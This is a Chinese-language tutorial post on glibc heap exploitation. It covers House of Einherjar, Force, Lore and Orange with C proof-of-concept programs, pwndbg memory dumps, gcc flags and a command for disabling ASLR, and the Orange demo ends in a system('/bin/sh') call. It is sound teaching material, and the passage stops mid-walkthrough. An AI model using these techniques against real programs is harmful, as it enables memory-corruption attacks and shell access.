avatar

目录
House of 系列堆漏洞详解(一)

House of 系列堆漏洞详解(一)

首发于先知社区

多Glibc版本调试方法

由于house of 技术中的一些漏洞只能在特定的低版本Glibc中触发,因此我这里基于pwntools写了一个脚本,可以使文中所示的程序在高版本系统下编译后,gdb调试时能强制加载特定版本的Glibc。

首先需要准备特定版本的Glibc,这里以libc-2.25.so.6为例

python
from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'

pro = raw_input("py <Bin_Path>: ")
pro=pro.replace("\n", "")
io = process([pro],env={"LD_PRELOAD":"./libc-2.25.so.6"})
gdb.attach(io,'set exec-wrapper env "LD_PRELOAD=./libc-2.25.so.6"')
pause()
io.interactive()

在弹出的gdb窗口 r 一下就可以运行了。

这里再提一下gcc编译,如果想要进行源码调试,需要加 -g 选项。-D GLIBC_VERSION=25 选项可设置动态链接的glibc版本为2.25。

为了方便我们之后的调试,需要在编译时关闭相关保护,选项如下

bash
CANNARY
gcc -fno-stack-protector -o test test.c //禁用栈保护
gcc -fstack-protector -o test test.c //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码
bash
FORTIFY
gcc -D_FORTIFY_SOURCE=1 仅仅只会在编译时进行检查
gcc -D_FORTIFY_SOURCE=2 程序执行时也会有检查(如果检查到缓冲区溢出,就终止程序)
bash
NX
gcc -o test test.c // 默认情况下,开启NX保护
gcc -z execstack -o test test.c // 禁用NX保护
gcc -z noexecstack -o test test.c // 开启NX保护
bash
PIE
gcc -o test test.c // 默认情况下,不开启PIE
gcc -fpie -pie -o test test.c // 开启PIE,此时强度为1
gcc -fPIE -pie -o test test.c // 开启PIE,此时为最高强度2
gcc -fpic -o test test.c // 开启PIC,此时强度为1,不会开启PIE
gcc -fPIC -o test test.c // 开启PIC,此时为最高强度2,不会开启PIE

系统中关闭PIE选项使用sudo -s echo 0 > /proc/sys/kernel/randomize_va_space

但可能会报错 -bash: /proc/sys/kernel/randomize_va_space: 权限不够

这可能是因为sudo命令不支持重定向

使用sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"即可

bash
RELRO
gcc -o test test.c // 默认情况下,是Partial RELRO
gcc -z norelro -o test test.c // 关闭,即No RELRO
gcc -z lazy -o test test.c // 部分开启,即Partial RELRO
gcc -z now -o test test.c // 全部开启,即

House of Einherjar

原理

House of Einherjar依靠Off-by-one将下一个chunk的 pre_inuse标志位置零,将 p1 的 prev_size 字段设置为我们想要的目的 chunk 位置与 p1 的差值,在free下一个chunk时,让free函数以为上一个chunk已经被free,当free最后一个chunk时,会将伪造的chunk和当前chunk和top chunk进行unlink操作,合并成一个top chunk,从而达到将top chunk设置为我们伪造chunk的地址。

Poc

c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

#define CHUNKSIZE 0x100
#define FIRST_CHUNKSIZE 0x20
#define SECOND_CHUNKSIZE CHUNKSIZE
#define THIRD_CHUNKSIZE 0x0

#define INTERNAL_SIZE_T size_t
#define SIZE_SZ sizeof(INTERNAL_SIZE_T)

struct malloc_chunk {
INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;
struct malloc_chunk* fd;
struct malloc_chunk* bk;
struct malloc_chunk* fd_nextsize;
struct malloc_chunk* bk_nextsize;
};

int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);

char *p0 = malloc(FIRST_CHUNKSIZE - SIZE_SZ);
// 第一个字节将被覆盖为空字节.
char *p1 = malloc(SECOND_CHUNKSIZE - SIZE_SZ);
// 防止调用 malloc_consolidate().
char *p2 = malloc(THIRD_CHUNKSIZE);

printf("House of Einherjar Poc\n\n");
printf("堆中共申请三个chunk\n第一个chunk只需要对齐且未分配\n第二个chunk大小必须在smallbin & largebin范围内\n最后一个chunk可以为任意大小,只需要保证不调用malloc_consolidate()\n");
printf("\tp0 = %p\n\tp1 = %p\n\tp2 = %p\n", p0, p1, p2);

printf("\n----------------\n");
printf("在栈中伪造一个fakechunk\n");

struct malloc_chunk fakechunk;
fakechunk.size = 0;
fakechunk.fd = &fakechunk;
fakechunk.bk = &fakechunk;

printf("当前 fakechunk: \n");
printf("\t&fakechunk: %p\n", &fakechunk);
printf("\t\t.size: 0x%zx\n\t\t.fd: %p\n\t\t.bk: %p\n",
fakechunk.size, fakechunk.fd, fakechunk.bk);

printf("假设p0对p1存在Off-by-one \n因此p1->size的最低位将被修改为NULL \np1->prev_size同样受到影响\n\n");

off_t diff = (off_t)&fakechunk-(off_t)(struct malloc_chunk *)(p1-SIZE_SZ*2);
// ((struct malloc_chunk *)(p1-SIZE_SZ*2))->prev_size = -diff;
*((INTERNAL_SIZE_T *)&p0[FIRST_CHUNKSIZE-SIZE_SZ*2]) = -diff;
p0[FIRST_CHUNKSIZE - SIZE_SZ] = '\0'; // off-by-one
printf("** 溢出触发 **\n");
// ----------------------------------------------

printf("通过free(p1)触发合并\n");
free(p1);

printf("\n----------------\n");
printf("当前 fakechunk: \n");
printf("\t&fakechunk: %p\n", &fakechunk);
printf("\t\t.size: 0x%zx\n\t\t.fd: %p\n\t\t.bk: %p\n",
fakechunk.size, fakechunk.fd, fakechunk.bk);

printf("\n控制fakechunk->size为合适的值 \n");
fakechunk.size = CHUNKSIZE;

printf("当前 fakechunk: \n");
printf("\t&fakechunk: %p\n", &fakechunk);
printf("\t\t.size: 0x%zx\n\t\t.fd: %p\n\t\t.bk: %p\n",
fakechunk.size, fakechunk.fd, fakechunk.bk);
printf("\n----------------\n");

printf("malloc(0x%zx) // fakechunk+SIZE_SZ.\n",
CHUNKSIZE - SIZE_SZ);
char *where_you_want = malloc(CHUNKSIZE - SIZE_SZ);
printf("\t目标地址 = %p\n", where_you_want);

return 0;
}

image.png

分步分析

1 申请三个chunk

c
char *p0 = malloc(FIRST_CHUNKSIZE - SIZE_SZ);
// 第一个字节将被覆盖为空字节.
char *p1 = malloc(SECOND_CHUNKSIZE - SIZE_SZ);
// 防止调用 malloc_consolidate().
char *p2 = malloc(THIRD_CHUNKSIZE);
Code
pwndbg> heap
0x555555559000 PREV_INUSE {
prev_size = 0,
size = 657,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555559290 FASTBIN { # p0
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x101 # off-by-one位置
}
0x5555555592b0 PREV_INUSE { # p1
prev_size = 0,
size = 257,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x5555555593b0 FASTBIN { # p2
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20c31
}
0x5555555593d0 PREV_INUSE {
prev_size = 0,
size = 134193,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
Code
pwndbg> x/50xg 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000021 <== p0
0x5555555592a0: 0x0000000000000000 0x0000000000000000
0x5555555592b0: 0x0000000000000000 0x0000000000000101 <== p1
0x5555555592c0: 0x0000000000000000 0x0000000000000000
0x5555555592d0: 0x0000000000000000 0x0000000000000000
...
0x555555559390: 0x0000000000000000 0x0000000000000000
0x5555555593a0: 0x0000000000000000 0x0000000000000000
0x5555555593b0: 0x0000000000000000 0x0000000000000021 <== p2
0x5555555593c0: 0x0000000000000000 0x0000000000000000
0x5555555593d0: 0x0000000000000000 0x0000000000020c31 <== top chunk
0x5555555593e0: 0x0000000000000000 0x0000000000000000

2 off-by-one

c
off_t diff = (off_t)&fakechunk-(off_t)(struct malloc_chunk *)(p1-SIZE_SZ*2);
// ((struct malloc_chunk *)(p1-SIZE_SZ*2))->prev_size = -diff;
*((INTERNAL_SIZE_T *)&p0[FIRST_CHUNKSIZE-SIZE_SZ*2]) = -diff; //fakechunk与p1的偏移量
p0[FIRST_CHUNKSIZE - SIZE_SZ] = '\0'; // off-by-one
Code
0x555555559290 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0xffffd5555555b750, <== 偏移量
bk_nextsize = 0x100
}
Code
pwndbg> x/50xg 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000021
0x5555555592a0: 0x0000000000000000 0x0000000000000000
0x5555555592b0: 0xffffd5555555b750 0x0000000000000100 <==覆盖inuse
0x5555555592c0: 0x0000000000000000 0x0000000000000000
...
0x555555559390: 0x0000000000000000 0x0000000000000000
0x5555555593a0: 0x0000000000000000 0x0000000000000000
0x5555555593b0: 0x0000000000000000 0x0000000000000021
0x5555555593c0: 0x0000000000000000 0x0000000000000000
0x5555555593d0: 0x0000000000000000 0x0000000000020c31
0x5555555593e0: 0x0000000000000000 0x0000000000000000

3 free p1

p1 free前与free后比较

Code
0x5555555592b0 {
prev_size = 18446697161213458256,
size = 256,
fd = 0x0,
bk = 0x0, <------------------
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

0x5555555592b0 {
prev_size = 18446697161213458256,
size = 256,
fd = 0x0,
bk = 0x555555559010, <------------------
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

4 malloc

Code
pwndbg> 
目标地址 = 0x7fffffffdb50

通过计算,重新申请到新的位置

Glibc 2.27

在2.27版本中malloc.c对prev_size 的检查如下

c
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))\
malloc_printerr ("corrupted size vs. prev_size"); \

只需要再伪造 fake chunk 的 next chunk 的 prev_size 字段就可以了

c
fake_chunk2 = (struct malloc_chunk *)p0 + 1;

fake_chunk2->prev_size = sizeof(struct malloc_chunk);

利用思路

通过house_of_einherjar,我们可以控制top chunk,再次malloc后,我们可以控制程序相应位置,按照程序功能,可能会达到任意地址读写,然后就可以通过一般手段getshell。

House of force

原理

假设top chunk的header可被溢出覆盖,可以将size修改为一个大数,使得所有初始化都通过top chunk而不是mmap,再malloc就可以使接下来的任何操作都调用指定地址,这里相当于一次任意地址写。

利用条件:

  • 1.用户能够以溢出等方式控制到top chunk的size域
  • 2.用户能够自由的控制堆分配尺寸的大小

Poc

c
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

char bss_var[] = "这里是将要被覆写的字符串.";

int main(int argc , char* argv[])
{
fprintf(stderr, "\nHouse of Force Poc\n\n");

fprintf(stderr, "\n我们将通过此漏洞覆写地址 %p 的值.\n", bss_var);
fprintf(stderr, "当前值为: %s\n", bss_var);

fprintf(stderr, "\n申请第一个chunk.\n");
intptr_t *p1 = malloc(256);
fprintf(stderr, "大小为256 bytes 的chunk 在 %p 被申请.\n", p1 - 2);

int real_size = malloc_usable_size(p1);
fprintf(stderr, "分配的块的实际大小是 %ld.\n", real_size + sizeof(long)*2);

fprintf(stderr, "\n假设存在一个可溢出到 top chunk 的漏洞\n");

intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\ntop chunk 起始地址是 %p\n", ptr_top);

fprintf(stderr, "\n用一个极大值覆写top chunk的size使得malloc不会调用mmap\n");
fprintf(stderr, "top chunk的旧size %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "top chunk的新size %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));

fprintf(stderr, "\n接下来申请一个chunk,通过整数溢出指向该chunk");

unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\n我们想要写的值位于 %p, top chunk 位于 %p, 通过计算头部size,\n"
"我们应该 malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "新指针和旧top chunk一样指向: %p\n", new_ptr - sizeof(long)*2);

void* ctr_chunk = malloc(100);
fprintf(stderr, "\n下一个chunk将指向目标buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "现在我们可覆写该字符串:\n");

fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... 使用 strcpy 覆写 \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %s\n", bss_var);
}

image.png

分步分析

1 申请一个chunk

c
intptr_t *p1 = malloc(256);
Code
pwndbg> heap
0x555555559000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 657,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555559290 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 273,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x5555555593a0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 134241,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
Code
pwndbg> x/40xg 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000111
0x5555555592a0: 0x0000000000000000 0x0000000000000000
0x5555555592b0: 0x0000000000000000 0x0000000000000000
...
0x555555559390: 0x0000000000000000 0x0000000000000000
0x5555555593a0: 0x0000000000000000 0x0000000000020c61 <==== top chunk

2 溢出修改top chunk size

c
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
Code
pwndbg> x/40xg 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000111
0x5555555592a0: 0x0000000000000000 0x0000000000000000
0x5555555592b0: 0x0000000000000000 0x0000000000000000
...
0x555555559390: 0x0000000000000000 0x0000000000000000
0x5555555593a0: 0x0000000000000000 0xffffffffffffffff <==== 修改top chunk size为极大值
0x5555555593b0: 0x0000000000000000 0x0000000000000000

抬高malloc到目标buffer

c
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
void *new_ptr = malloc(evil_size);
Code
malloc 0xffffffffffffeef0 bytes.

malloc并strcpy覆写

c
void* ctr_chunk = malloc(100);
strcpy(ctr_chunk, "YEAH!!!");
Code
... old string: 这里是将要被覆写的字符串.
... 使用 strcpy 覆写 "YEAH!!!"...
... new string: YEAH!!!

Glibc 2.27

目前在glibc2.27上仍然可以利用,而2.29版本则已有缓解措施

c
if (__glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): corrupted top size");

House of lore

原理

创建两个chunk,第一个用于进入smallbin中,第二个用来防止free后被top chunk合并,free第一块,将其送入unsortedbin链表,再次申请一个size位于largebin中,并且在unsortedbin中没有与其匹配的chunk,系统接下来会把unsortedbin中的chunk加入到smallbin中。假设可以控制 第一个chunk的fd、bk指针,我们就可以在栈上伪造出一个smallbin的链表,再次malloc时,就可以从smallbin的链表末尾取chunk了。这样就可以在栈上创造chunk。

Poc

c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

struct small_chunk {
size_t prev_size;
size_t size;
struct small_chunk *fd;
struct small_chunk *bk;
char buf[0x64]; // 填充 smallbin size大小的chunk
};

int main() {
struct small_chunk fake_chunk, another_fake_chunk;
struct small_chunk *real_chunk;
unsigned long long *ptr, *victim;
int len;

printf("House of lore Poc\n\n");

printf("fake_chunk地址: %p\n\n", &fake_chunk);
len = sizeof(struct small_chunk);

printf("申请两个small chunk,释放第一个,该块会并入unsorted bin\n");
ptr = malloc(len);
printf("第一块small chunk地址: %p\n\n", ptr);

printf("第二块大小可以为任意值,只是为了防止第一块free后与top chunk合并\n");
printf("第二块small chunk地址: %p\n\n", malloc(len));
free(ptr);

real_chunk = (struct small_chunk *)(ptr - 2);
printf("第一块目前的地址: %p\n\n", real_chunk);

printf("再申请一个chunk,size大于之前chunk以防被分配到同一个位置\n");
printf("之前free的chunk现在进入small bin\n");
printf("第三块small chunk地址: %p\n\n", malloc(len + 0x10));

printf("使第一块small chunk的bk指针指向&fake_chunk,fake chunk将被插入smallbin\n");
real_chunk->bk = &fake_chunk;

printf("使fake_chunk的fd指针指向第一块small chunk\n");
fake_chunk.fd = real_chunk;

printf("绕过 \'victim->bk->fd == victim\' 检测\n");
fake_chunk.bk = &another_fake_chunk;
another_fake_chunk.fd = &fake_chunk;

printf("重新申请第一块,地址为: %p\n", malloc(len));

victim = malloc(len);
printf("再次申请得到fake_chunk,地址为 %p\n", victim);

return 0;
}

image.png

分步分析

1 申请两个small chunk

c
ptr = malloc(len);
printf("第一块small chunk地址: %p\n\n", ptr);

printf("第二块大小可以为任意值,只是为了防止第一块free后与top chunk合并\n");
printf("第二块small chunk地址: %p\n\n", malloc(len));
Code
pwndbg> x/40xg 0x555555559420 -0x20
0x555555559400: 0x0000000000000000 0x0000000000000000
0x555555559410: 0x0000000000000000 0x0000000000000091 <=== chunk1
0x555555559420: 0x0000000000000000 0x0000000000000000
0x555555559430: 0x0000000000000000 0x0000000000000000
0x555555559440: 0x0000000000000000 0x0000000000000000
0x555555559450: 0x0000000000000000 0x0000000000000000
0x555555559460: 0x0000000000000000 0x0000000000000000
0x555555559470: 0x0000000000000000 0x0000000000000000
0x555555559480: 0x0000000000000000 0x0000000000000000
0x555555559490: 0x0000000000000000 0x0000000000000000
0x5555555594a0: 0x0000000000000000 0x0000000000000091 <=== chunk2
0x5555555594b0: 0x0000000000000000 0x0000000000000000
0x5555555594c0: 0x0000000000000000 0x0000000000000000
0x5555555594d0: 0x0000000000000000 0x0000000000000000
0x5555555594e0: 0x0000000000000000 0x0000000000000000
0x5555555594f0: 0x0000000000000000 0x0000000000000000
0x555555559500: 0x0000000000000000 0x0000000000000000
0x555555559510: 0x0000000000000000 0x0000000000000000
0x555555559520: 0x0000000000000000 0x0000000000000000
0x555555559530: 0x0000000000000000 0x0000000000020ad1 <=== top chunk

2 释放chunk1

c
free(ptr);
Code
pwndbg> x/40xg 0x555555559420 -0x20
0x555555559400: 0x0000000000000000 0x0000000000000000
0x555555559410: 0x0000000000000000 0x0000000000000091
0x555555559420: 0x00007ffff7fc4b38 0x00007ffff7fc4b38 <=== 加入unsorted bin
0x555555559430: 0x0000000000000000 0x0000000000000000
0x555555559440: 0x0000000000000000 0x0000000000000000
0x555555559450: 0x0000000000000000 0x0000000000000000
0x555555559460: 0x0000000000000000 0x0000000000000000
0x555555559470: 0x0000000000000000 0x0000000000000000
0x555555559480: 0x0000000000000000 0x0000000000000000
0x555555559490: 0x0000000000000000 0x0000000000000000
0x5555555594a0: 0x0000000000000090 0x0000000000000090
0x5555555594b0: 0x0000000000000000 0x0000000000000000
...
0x555555559520: 0x0000000000000000 0x0000000000000000
0x555555559530: 0x0000000000000000 0x0000000000020ad1 =================>|
|
pwndbg> x/20xg 0x00007ffff7fc4b38 |
0x7ffff7fc4b38 <main_arena+88>: 0x0000555555559530 0x0000000000000000 <=|
0x7ffff7fc4b48 <main_arena+104>: 0x0000555555559410 0x0000555555559410 <=== chunk1
0x7ffff7fc4b58 <main_arena+120>: 0x00007ffff7fc4b48 0x00007ffff7fc4b48
0x7ffff7fc4b68 <main_arena+136>: 0x00007ffff7fc4b58 0x00007ffff7fc4b58
0x7ffff7fc4b78 <main_arena+152>: 0x00007ffff7fc4b68 0x00007ffff7fc4b68
0x7ffff7fc4b88 <main_arena+168>: 0x00007ffff7fc4b78 0x00007ffff7fc4b78
0x7ffff7fc4b98 <main_arena+184>: 0x00007ffff7fc4b88 0x00007ffff7fc4b88
0x7ffff7fc4ba8 <main_arena+200>: 0x00007ffff7fc4b98 0x00007ffff7fc4b98
0x7ffff7fc4bb8 <main_arena+216>: 0x00007ffff7fc4ba8 0x00007ffff7fc4ba8
0x7ffff7fc4bc8 <main_arena+232>: 0x00007ffff7fc4bb8 0x00007ffff7fc4bb8

3 申请chunk3

c
printf("第三块small chunk地址:  %p\n\n", malloc(len + 0x10));
Code
pwndbg> x/40xg 0x555555559420 -0x20
0x555555559400: 0x0000000000000000 0x0000000000000000
0x555555559410: 0x0000000000000000 0x0000000000000091
0x555555559420: 0x00007ffff7fc4bb8 0x00007ffff7fc4bb8 <=== chunk1加入small bin
0x555555559430: 0x0000000000000000 0x0000000000000000
...
0x555555559490: 0x0000000000000000 0x0000000000000000
0x5555555594a0: 0x0000000000000090 0x0000000000000090
0x5555555594b0: 0x0000000000000000 0x0000000000000000
...
0x555555559530: 0x0000000000000000 0x00000000000000a1

pwndbg> x/20xg 0x00007ffff7fc4bb8
0x7ffff7fc4bb8 <main_arena+216>: 0x00007ffff7fc4ba8 0x00007ffff7fc4ba8
0x7ffff7fc4bc8 <main_arena+232>: 0x0000555555559410 0x0000555555559410 <=== chunk1
0x7ffff7fc4bd8 <main_arena+248>: 0x00007ffff7fc4bc8 0x00007ffff7fc4bc8
0x7ffff7fc4be8 <main_arena+264>: 0x00007ffff7fc4bd8 0x00007ffff7fc4bd8
0x7ffff7fc4bf8 <main_arena+280>: 0x00007ffff7fc4be8 0x00007ffff7fc4be8
0x7ffff7fc4c08 <main_arena+296>: 0x00007ffff7fc4bf8 0x00007ffff7fc4bf8
0x7ffff7fc4c18 <main_arena+312>: 0x00007ffff7fc4c08 0x00007ffff7fc4c08
0x7ffff7fc4c28 <main_arena+328>: 0x00007ffff7fc4c18 0x00007ffff7fc4c18
0x7ffff7fc4c38 <main_arena+344>: 0x00007ffff7fc4c28 0x00007ffff7fc4c28
0x7ffff7fc4c48 <main_arena+360>: 0x00007ffff7fc4c38 0x00007ffff7fc4c38

4 修改bk fd指针,绕过检测

c
printf("使第一块small chunk的bk指针指向&fake_chunk,fake chunk将被插入smallbin\n");
real_chunk->bk = &fake_chunk;

printf("使fake_chunk的fd指针指向第一块small chunk\n");
fake_chunk.fd = real_chunk;

printf("绕过 \'victim->bk->fd == victim\' 检测\n");
fake_chunk.bk = &another_fake_chunk;
another_fake_chunk.fd = &fake_chunk;
Code
pwndbg> x/40xg 0x555555559420 -0x20
0x555555559400: 0x0000000000000000 0x0000000000000000
0x555555559410: 0x0000000000000000 0x0000000000000091
0x555555559420: 0x00007ffff7fc4bb8 0x00007fffffffda70 <=== fd->smallbin bk->&fake_chunk
0x555555559430: 0x0000000000000000 0x0000000000000000
...
0x555555559490: 0x0000000000000000 0x0000000000000000
0x5555555594a0: 0x0000000000000090 0x0000000000000090
0x5555555594b0: 0x0000000000000000 0x0000000000000000
...
0x555555559520: 0x0000000000000000 0x0000000000000000
0x555555559530: 0x0000000000000000 0x00000000000000a1

pwndbg> x/20xg 0x00007fffffffda70
0x7fffffffda70: 0x0000038000000380 0x0000038000000380 <=== fake_chunk
0x7fffffffda80: 0x0000555555559410 0x00007fffffffdb00 <=== fd->chunk1 bk->&another_fake_chunk
0x7fffffffda90: 0x0000038000000380 0x0000038000000380
0x7fffffffdaa0: 0x0000038000000380 0x0000038000000380
0x7fffffffdab0: 0x0000038000000380 0x0000038000000380
0x7fffffffdac0: 0x0000000000000000 0x0000004000000100
0x7fffffffdad0: 0x0000000000000000 0x0000000000000000
0x7fffffffdae0: 0x0000000000000000 0x0000000000000000
0x7fffffffdaf0: 0x0000000000000000 0x0000000000000000
0x7fffffffdb00: 0x0000000000000000 0x0000000000000000

5 malloc两次,成功将fake_chunk加入

c
printf("重新申请第一块,地址为:  %p\n", malloc(len));

victim = malloc(len);

image.png

利用思路

通过house of lore,我们达到了任意地址分配内存的效果,就可以向chunk中写入数据来覆盖返回地址控制eip,甚至绕过 canary检查。

House of Orange

原理

假设存在堆溢出可覆盖到 top chunk,设置top chunk+size页面对齐,设置prev_inuse位,然后申请一块比top chunk size大的块,使top chunk扩展。控制io_list_all,当malloc分割时,chunk->bk->fd的值会被libc的main_arena中的unsorted bin列表的地址覆盖。修改fd满足相应条件,设置跳板指针指向可控内存,malloc触发利用链。

Poc

c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int winner ( char *ptr);

int main()
{
fprintf(stderr,"House of orange Poc\n\n");

char *p1, *p2;
size_t io_list_all, *top;

p1 = malloc(0x400-16);
fprintf(stderr,"首先申请一个chunk: p1 %p \n",p1);

fprintf(stderr,"设置top chunk+size页面对齐,设置prev_inuse位\n\n");
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;

fprintf(stderr,"申请一个size大于top chunk的块,使其调用sysmalloc和_init_free\n\n");
p2 = malloc(0x1000);
fprintf(stderr,"p2 %p \n", p2);

fprintf(stderr,"chunk->bk->fd覆盖_IO_list_all指针\n\n");
io_list_all = top[2] + 0x9a8;
fprintf(stderr,"io_list_all现在指向chunk->bk->fd %p \n", &io_list_all);
fprintf(stderr,"当malloc分割时,chunk->bk->fd的值会被libc的main_arena中的unsorted bin列表的地址覆盖。\n\n");

fprintf(stderr,"设置chunk->bk为_IO_list_all - 16\n");
top[3] = io_list_all - 0x10;

fprintf(stderr,"system将通过top指针被调用,使用用/bin/sh填充前8个字节,相当于system(/bin/sh)\n");
memcpy( ( char *) top, "/bin/sh\x00", 8);

fprintf(stderr,"将top chunk的size改小,使旧的top chunk被malloc分配到small bin[4],指向伪文件指针的fd-ptr\n\n");
top[1] = 0x61;

fprintf(stderr,"满足条件 fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base\n");
_IO_FILE *fp = (_IO_FILE *) top;

fprintf(stderr,"满足 fp->_mode <= 0\n" );
fp->_mode = 0; // top+0xc0

fprintf(stderr,"满足 fp->_IO_write_ptr > fp->_IO_write_base\n");
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28

fprintf(stderr,"设置跳板指向可控内存\n\n");
size_t *jump_table = &top[12]; // 可控内存
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

fprintf(stderr,"malloc触发利用链\n");
malloc(10);

return 0;
}

int winner(char *ptr)
{
system(ptr);
return 0;
}

image.png

image.png

分步分析

1 申请chunk1,修改top chunk

c
p1 = malloc(0x400-16);

fprintf(stderr,"设置top chunk+size页面对齐,设置prev_inuse位\n\n");
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
Code
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 1025,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603400 PREV_INUSE { <====== chunk1
prev_size = 0,
size = 3073,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x604000 { <====== top chunk
prev_size = 0,
size = 0,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

pwndbg> x/40xg 0x603400-0x400
0x603000: 0x0000000000000000 0x0000000000000401 <===== chunk1
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
...
0x6033f0: 0x0000000000000000 0x0000000000000000
0x603400: 0x0000000000000000 0x0000000000000c01 <===== top chunk
0x603410: 0x0000000000000000 0x0000000000000000

2 申请一个size大于top chunk的块

c
p2 = malloc(0x1000);
bash
malloc p2前

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r-xp 1000 0 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
0x601000 0x602000 r--p 1000 1000 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
0x602000 0x603000 rw-p 1000 2000 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
0x603000 0x624000 rw-p 21000 0 [heap] <========= 0x603000-0x624000
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fdd000 0x7ffff7fe0000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]


malloc p2后

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r-xp 1000 0 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
0x601000 0x602000 r--p 1000 1000 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
0x602000 0x603000 rw-p 1000 2000 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
0x603000 0x646000 rw-p 43000 0 [heap] <========= 0x603000-0x646000
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
